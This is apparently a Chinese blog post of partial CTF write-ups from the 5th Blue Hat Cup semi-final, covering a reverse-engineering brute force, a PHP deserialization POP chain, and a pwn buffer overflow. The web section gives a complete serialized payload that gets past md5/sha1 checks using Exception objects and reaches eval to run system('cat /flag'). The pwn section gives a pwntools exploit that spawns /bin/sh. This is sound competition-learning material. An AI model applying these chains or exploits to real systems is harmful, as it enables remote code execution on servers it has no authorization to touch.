第五届蓝帽杯半决赛部分WP

原创

FW_ENJOEY 于 2021-06-06 19:41:57 发布 572 收藏 1

分类专栏： 比赛题 CTF_Web_Writeup

本文链接：https://blog.csdn.net/qq_46230755/article/details/117635423

比赛题 同时被 2 个专栏收录

5 篇文章 0 订阅

订阅专栏

CTF_Web_Writeup

50 篇文章 0 订阅

订阅专栏

文章目录

RE:ser_leak

题目是原题：

x1-x5:

```python
def func2(x):
 if x == 0:
  return 0
 return (x % 2) + func2(x // 2)

def func3(x):
 return x % 2

def func1(N, L, R):
 if L == R:
  return L
 mid = (L + R + 1) // 2
 if N < mid * mid:
  return func1(N, L, mid - 1)
 else:
  return func1(N, mid, R)

def _func1(x):
 return func1(x, 1, x)



if __name__ == '__main__':
 x1_flag = False
 x2_flag = False
 x3_flag = False
 x4_flag = False
 x5_flag = False
 for i in range(10000000, 100000000):
  if func3(func2(i)) != 1:
   continue
  if _func1(i) == 963 and not x1_flag:
   print("x1:",i)
   x1_flag = True
  if _func1(i) == 4396 and not x2_flag:
   print("x2:",i)
   x2_flag = True
  if _func1(i) == 6666 and not x3_flag:
   print("x3:",i)
   x3_flag = True
  if _func1(i) == 1999 and not x4_flag:
   print("x4:",i)
   x4_flag = True
  if _func1(i) == 3141 and not x5_flag:
   print("x5:",i)
   x5_flag = True
```

x6

```
def nextm(n, m):
 if m*m <= n:
  return m+1
 else:
  return 0

def nextn(n, m):
 return (n % m != 0) * n

def test(n, m):
 if n == 0:
  return 0
 if m == 0:
  return 1
 return test(nextn(n, m), nextm(n, m))

def func4(x):
 if x == 1:
  return 0
 if x == 2:
  return 1
 return test(x, 2)


if __name__ == '__main__':
 x6 = 0
 for i in range(1, 5):
  if func4(i*2-1) == 1:
   x6 += 1
 print(x6)
```

WEB:杰克与肉丝

> 考点：
> 1、php反序列化pop链构造
> 2、Exception类绕过md5、sha1

参考

https://blog.csdn.net/LYJ20010728/article/details/114493052

```
{
        private  $action;


        function  __set($a,  $b)
        {
                $b->$a();

        }

}

class  Love  {

        public  $var;
        function  __call($a,$b)
        {
                $rose  =  $this->var;
                call_user_func($rose);
        }

        private  function  action(){
                echo  "jack  love  rose";
        }

}
class  Titanic{
        public  $people;
        public  $ship;
        function  __destruct(){

                $this->people->action=$this->ship;
        }
}
class  Rose{
        public  $var1;
        public  $var2;
        function  __invoke(){
                if(  ($this->var1  !=  $this->var2)  &&  (md5($this->var1)  ===  md5($this->var2))  &&  (sha1($this->var1)===  sha1($this->var2))  ){
                        eval($this->var1);
                }
        }
}
```


代码：

```php
<?php
class Titanic{
    public $people;
    public $ship;
    function __construct(){
        $this->people = new Jack();
        $this->ship = new Love();
    }
}

class Jack{
    private $action;
    function __set($a, $b)
    {
        $b->$a();
    }
}

class Love {
    public $var;
    function __construct(){
        $this->var = new Rose();
    }
}

class Rose {
    public $var1,$var2;
    public function __construct(){
        $cmd ='system("cat /flag");?>';
        $a = new Exception($cmd);$b = new Exception($cmd,1);
        $this->var1 = $a;
        $this->var2 = $b;
    }
}
$f = new Titanic();
echo urlencode(serialize($f));
```

O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A22%3A%22system%28%22cat+%2Fflag%22%29%3B%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A32%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A3%3A%7Bi%3A0%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A4%3A%22line%22%3Bi%3A22%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A4%3A%22Rose%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A4%3A%22line%22%3Bi%3A7%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A4%3A%22Love%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A2%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A4%3A%22line%22%3Bi%3A37%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Titanic%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A22%3A%22system%28%22cat+%2Fflag%22%29%3B%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A32%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A3%3A%7Bi%3A0%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A4%3A%22line%22%3Bi%3A22%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A4%3A%22Rose%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A4%3A%22line%22%3Bi%3A7%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A4%3A%22Love%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A2%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C1.php%22%3Bs%3A4%3A%22line%22%3Bi%3A37%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Titanic%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D%7D%7D


```
        private function action(){
                echo "jack love rose";
        }

}
class Titanic{
        public $people;
        public $ship;
        function __destruct(){

                $this->people->action=$this->ship;
        }
}
class Rose{
        public $var1;
        public $var2;
        function __invoke(){
                if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
                        eval($this->var1);
                }
        }
}

if(isset($_GET['love'])){
        $sail=$_GET['love'];
        unserialize($sail);
}
?> D:\phpstudy_pro\WWW\1.php:32 中的标志{59eb3f38-2587-4639-8515-21ad9095c6b7} 堆栈跟踪： #0 D:\phpstudy_pro\WWW\1.php(22): Rose->__construct() #1 D:\phpstudy_pro\WWW\1.php(7): Love->__construct() #2 D:\phpstudy_pro\WWW\1.php(37): Titanic->__construct() #3 {主要}
```

PWN:cover

把那个地址写在buf里面溢出到v5的位置 fastcall函数调用, 执行/bin / sh.

exp如下：

```
from pwn import *
context.log_level = 'debug'

#p = process("./pwn")
#p = remote(" 118.190.62.234",12435)
p.recv()
p.send(p32(0x80484D2)+b'\x24')
p.recv()
p.send('/bin/sh')
p.interactive()
```